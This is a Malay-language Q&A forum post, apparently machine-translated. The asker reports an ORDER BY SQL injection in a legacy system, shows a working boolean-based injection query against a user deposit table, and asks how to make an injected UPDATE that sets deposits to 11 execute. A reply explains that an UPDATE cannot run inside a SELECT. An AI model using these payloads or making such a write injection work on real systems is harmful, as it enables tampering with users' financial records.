Rumah > Soal Jawab > teks badan
Menemui kerentanan suntikan sql berasaskan orderBy dalam sistem lama yang sedang diselenggara, dan saya akan mengesahkannya,
Saya akan laksanakan suntikan sql ini dahulu, ok
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0
Tetapi apabila saya melaksanakan sql ini dengan pernyataan kemas kini, saya mendapat ralat:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0
Laporkan ralat
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>
Bagaimana saya harus membiarkan dia melakukan kemas kini?
淡淡烟草味2017-05-18 10:49:26
Apabila badan utama dipilih, ia tidak boleh dikemas kini, jika tidak, ia tidak boleh dilaksanakan
Saya telah mencuba suntikan seperti ini dalam mybatis Apabila melaksanakan kemas kini dalam <pilih>, ralat dilaporkan secara langsung dan suntikan tidak boleh dilakukan